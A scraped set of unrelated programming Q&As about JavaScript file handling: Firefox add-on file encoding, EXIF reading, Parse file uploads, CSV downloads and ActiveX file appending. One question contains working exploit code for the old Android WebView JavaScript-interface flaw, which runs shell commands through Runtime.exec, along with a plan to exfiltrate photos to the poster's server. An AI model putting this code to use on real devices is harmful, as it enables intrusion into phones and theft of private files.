Sorry about the vague title but I'm a bit lost so it's hard to be specific. I've started playing around with Firefox extensions using the add-on SDK. What I'm trying to to is to watch a page for changes, a Twitch.tv chat window in this case, and save those changes to a file.
I've gotten this to work, every time something changes on the page it gets saved. But, "unusual" characters like for example something in Korean doesn't get saved properly. I think this has to do with encoding of the file/string? I tried saving the same characters by copy-pasting them into notepad, it asked me to save in Unicode and when I did everything worked fine. So I figured, ok, I'll change the encoding of the log file to unicode as well before writing to it. Didn't exactly work... Now all the characters were in some kind of foreign language.
The code I'm using to write to the file is this:
var {Cc, Ci, Cu} = require("chrome");
var {FileUtils} = Cu.import("resource://gre/modules/FileUtils.jsm");
var file = FileUtils.getFile("Desk", ["mylogfile.txt"]);
var stream = FileUtils.openFileOutputStream(file, FileUtils.MODE_WRONLY | FileUtils.MODE_CREATE | FileUtils.MODE_APPEND);
stream.write(data, data.length);
stream.close();
I looked at the description of FileUtils.jsm over at MDN and as far as I can tell there's no way to tell it which encoding I want to use?
If you don't know a fix could you give me some good search terms because I seem to be coming up short on that front. Since I know basically nothing on the subject I'm flailing around in the dark a bit at the moment.
edit:
This is what I ended up with (for now) to get this thing working:
var {Cc, Ci, Cu} = require("chrome");
var {FileUtils} = Cu.import("resource://gre/modules/FileUtils.jsm");
var file = Cc['#mozilla.org/file/local;1']
.createInstance(Ci.nsILocalFile);
file.initWithPath('C:\\temp\\temp.txt');
if(!file.exists()){
file.create(file.NORMAL_FILE_TYPE, 0666);
}
var charset = 'UTF-8';
var fileStream = Cc['#mozilla.org/network/file-output-stream;1']
.createInstance(Ci.nsIFileOutputStream);
fileStream.init(file, FileUtils.MODE_WRONLY | FileUtils.MODE_CREATE | FileUtils.MODE_APPEND, 0x200, false);
var converterStream = Cc['#mozilla.org/intl/converter-output-stream;1']
.createInstance(Ci.nsIConverterOutputStream);
converterStream.init(fileStream, charset, data.length,
Ci.nsIConverterInputStream.DEFAULT_REPLACEMENT_CHARACTER);
converterStream.writeString(data);
converterStream.close();
fileStream.close();
Dumping just the raw bytes (well, raw jschars actually) won't work. You need to first convert the data into some sensible encoding.
See e.g. the File I/O Snippets. Here are the crucial bits of creating a converter output stream wrapper:
var converter = Components.classes["#mozilla.org/intl/converter-output-stream;1"].
createInstance(Components.interfaces.nsIConverterOutputStream);
converter.init(foStream, "UTF-8", 0, 0);
converter.writeString(data);
converter.close(); // this closes foStream
Another way is to use OS.File + TextConverter:
let encoder = new TextEncoder(); // This encoder can be reused for several writes
let array = encoder.encode("This is some text"); // Convert the text to an array
let promise = OS.File.writeAtomic("file.txt", array, // Write the array atomically to "file.txt", using as temporary
{tmpPath: "file.txt.tmp"}); // buffer "file.txt.tmp".
It might be even possible to mix both. OS.File has the benefit that it will write data and access files off the main thread (so it won't block the UI while the file is being written).
Related
I have a program where a camera is set up to constantly take pictures (about every 10 seconds or so) and the picture is sent to a folder on my server and then another program refreshes that folder constantly so that I always just have the most recent picture in that particular folder.
An HTML document exists that also constantly refreshes, and references that picture location to get and display the newest image.
What I'm trying to do is extract the EXIF data (that I've verified exists when I save the image from the active webpage and look at it's properties). I want to display the DateCreated (I believe this is DateTime) and the Latitude and Longitude (I believe is GPSLatitude and GPSLongitude).
I came across this library, exif-js, which seems like the go-to for most people trying to do this same thing in JavaScript. My code looks the same as the code at the bottom of the README.md file, except I changed out my img id="...." and variable names, (see below). It seems like it should work, but it's not producing any data. My empty span element just stays empty.
Is there an issue with the short time span that the page has before refreshing?
Thanks for any help!
Here's what my code currently looks like (just trying to get the DateTime info). I have also tried the GPSLatitude and GPSLongitude tags.
<!-- Library to extract EXIF data -->
<script src="vendors/exif-js/exif-js"></script>
<script type="text/javascript">
window.onload=getExif;
function getExif()
{
var img1 = document.getElementById("img1");
EXIF.getData(img1, function() {
var time = EXIF.getTag(this, "DateTime");
var img1Time = document.getElementById("img1Time");
img1Time.innerHTML = `${time}`;
});
var img2 = document.getElementById("img2");
EXIF.getData(img2, function() {
var allMetaData = EXIF.getALLTags(this);
var allMetaDataSpan = document.getElementById("Img2Time");
allMetaDataSpan.innerHTML = JSON.stringify(allMetaData, null, "\t");
});
}
</script>
go into ur exif.js file and then go to line 930 and then change it to
EXIF.getData = function(img, callback) {
if ((self.Image && img instanceof self.Image
|| self.HTMLImageElement && img instanceof self.HTMLImageElement)
&& !img.complete)
return false;
I know this may be already solved but I'd like to offer an alternative solution, for the people stumbling upon this question.
I'm a developer of a new library exifr you might want to try. It's maintained, actively developed library with focus on performance and works in both nodejs and browser.
async function getExif() {
let output = await exifr.parse(imgBuffer)
console.log('latitude', output.latitude) // converted by the library
console.log('longitude', output.longitude) // converted by the library
console.log('GPSLatitude', output.GPSLatitude) // raw value
console.log('GPSLongitude', output.GPSLongitude) // raw value
console.log('GPSDateStamp', output.GPSDateStamp)
console.log('DateTimeOriginal', output.DateTimeOriginal)
console.log('DateTimeDigitized', output.DateTimeDigitized)
console.log('ModifyDate', output.ModifyDate)
}
You can also try out the library's playground and experiment with images and their output, or check out the repository and docs.
I am trying, out of interest, to do some remote code execution on my old Android phone. On old versions of the Android "WebView" component, there is a vulnerability that makes it possible to execute shell code and read the response via JS. The relevant code, taken from here, looks like this:
function execute(cmdArgs)
{
return SmokeyBear.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
function getContents(inputStream)
{
var contents = "";
var b = inputStream.read();
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bString;
b = inputStream.read();
}
return contents;
}
[...]
var p = execute(["ls","/mnt/sdcard/DCIM/Camera/"]);
input = getContents(p.getInputStream());
In this example, we list the files in the Camera folder and store them into 'input' as a string, which worked fine for me.
I have read however that the same vulnerability could be used to exfiltrate whole media files. The problem is that I do not know what type of data I get if I just remote-execute 'cat /path/to/example.png' on the phone. I want to submit the data to my (Python) web server. I tried running the above code, converting the bytes to a string (which contains a lot of gibberish), send the string via an XMLHttpRequest, then on my server just save that string to a binary file. That didn't work, obviously. I strongly suspect I should base64 encode the whole thing before transmission, but I don't even know how to retrieve the raw byte array from p.getInputStream() . It doesn't help that google doesn't give me any meaningful results for 'javascript inputstream' at all ...
I've followed the letter of the law (Javscript SDK) along with numerous variations but thus far I have not been able to save an image to a Parse.File. I'm starting think this is code they never finished before they abandoned the platform?
This is my error:
Failed to construct 'File': 2 arguments required, but only 0 present.
This is my code:
var base64 = $base64.encode(unescape(encodeURIComponent('a string')));
var file = new Parse.File("logo.png", { base64: base64});
file.save().then(function(){
var newLogo = new Parse.File();
newLogo.set('step2.png', file);
newLogo.save().then(function(){
offer.set("Alogo.png", newLogo);
offer.save();
}).then(function(){}, function(error){console.log(error);});
});
It saves no image or note of 'Alogo.png' or anything dealing with a logo in my ParseDB. Any help you could offer would be much appreciated!
For once, Parse was right on point. The issue was not with my code but with Angular and it's lack of recognition of 'file' tags in html. This post/tutorial proved very useful as it has a directive that enables angular to recognize post tags so that angular can add files to the model.
http://uncorkedstudios.com/blog/multipartformdata-file-upload-with-angularjs
In my FF extension I create an object (a string) retrieving data from the DOM.
Now I need to download a plain text file with the string content. The result should be a CSV file.
I read about addDownload method but I miss a lot of pieces... any hint?
Mainly I don't know how to:
"transform" my string in a downloadable object (a file?)
correctly call the addDownload method (nsIURI, etc)
Thank you very much for the help.
You have a number of approaches. The old-school way is to manipulate nsIFile and nsIFileOutputStream directly, although you can't write null bytes this way. You can also create an nsIStringInputStream from your string and write that to your output stream, or you can use nsIAsyncStreamCopier to copy it asynchronously. FileUtils.jsm and NetUtil.jsm exist to try to make this easier for you.
However, if you are targetting new enough versions of Firefox, you can ignore all that and use the OS.File API instead.
This is part of my extension, it shows the save as dialog so the user can pick the correct location (you can skip that part or try to find out where the downloads should be placed automatically)
const nsIFilePicker = Components.interfaces.nsIFilePicker;
var fp = Components.classes["#mozilla.org/filepicker;1"]
.createInstance(nsIFilePicker);
fp.init(window, "Save as", nsIFilePicker.modeSave);
fp.appendFilters(nsIFilePicker.filterHTML);
fp.appendFilters(nsIFilePicker.filterAll);
var rv = fp.show();
if (rv == nsIFilePicker.returnOK || rv == nsIFilePicker.returnReplace) {
var file = fp.file;
// work with returned nsILocalFile...
// Check that it has some extension
var name = file.leafName;
if (-1==name.indexOf('.'))
file.leafName = name + '.html' ;
// file is nsIFile, data is a string
var foStream = Components.classes["#mozilla.org/network/file-output-stream;1"]
.createInstance(Components.interfaces.nsIFileOutputStream);
// use 0x02 | 0x10 to open file for appending.
foStream.init(file, 0x02 | 0x08 | 0x20, 0666, 0);
// write, create, truncate
foStream.write(data, data.length);
foStream.close();
how can i append data to a file using javascript?
i tried to use this code, but i got an error:
var fso = new ActiveXObject("Scripting.FileSystemOject");
var filepath = fso.GetFile("member.txt");
var fileObject = fso.OpenTextFile(filepath, 8);
file.WriteLine(id + "|" + pass);
fileObject.close();
the error is on var fso = new ActiveXObject("Scripting.FileSystemOject");, written: Error: Automation server can't create object
is there any other way to append the file using javascript or the way to fix this? thanks :)
EDIT:
i have doing what's written on this, and it still not working :/
I just realized these in your code:
var fileObject = fso.OpenTextFile(filepath, 8,true);
You'll need the true-argument, if the file does not exist, or you want to overwrite/append it.
var filepath = fso.GetFile("member.txt");// This won't work.
var filepath = "your_filePath"; // Use this instead
var fileObject = fso.OpenTextFile(filepath, 8, true);
OpenTextFile() needs a path as a string like "D:/test/file.txt". GetFile() returns an object, which you can see as a string (D:\test\file.txt), but it's not a string. Use also absolute paths, relative paths don't seem to work by my experience.
EDIT
Add the code below to the <head>-part of your html-file, then save locally as a hta (with file extension hta, not htm or html).
<hta:application
applicationName="MyApp"
id="myapp"
singleInstance="yes"
/>
Then run the hta-file. If you still getting an ActiveX-error, it's not supported by your OS. If this works, you haven't done all the security settings correct.
EDIT II
In this case it's not very usefull to get the path through ActiveX, you'll need to write it literal anyway. And I'm not supposed to do your homeworks, but this does the trick...
var filepath = new String(fso.GetFile("member.txt")).replace(/\\/g,'/');
And don't forget what I've said above about using absolute paths...
The 8 in the OpenTextFile function specify that you want to append to the file. Your problem comes from the security restriction of your browser. To make it work you'll have to lower the security level, which is not really recommended.
The error is thrown because there are security restrictions which donot allow the activex to run. change your security settings to allow the activex if your using internet explorer (which i think you are).
This might be useful http://windows.microsoft.com/en-US/windows/help/genuine/ie-activex
Cheers
EDIT: i have doing what's written on this, and it still not working :/
* try Restarting your browser
As pointed out in this comment
Javascript: how to append data to a file
the cause of the error Error: Automation server can't create object is the typo in the progid passed to ActiveXObject: Oject instead of Object:
var fso = new ActiveXObject("Scripting.FileSystemOject");
there is a missing b!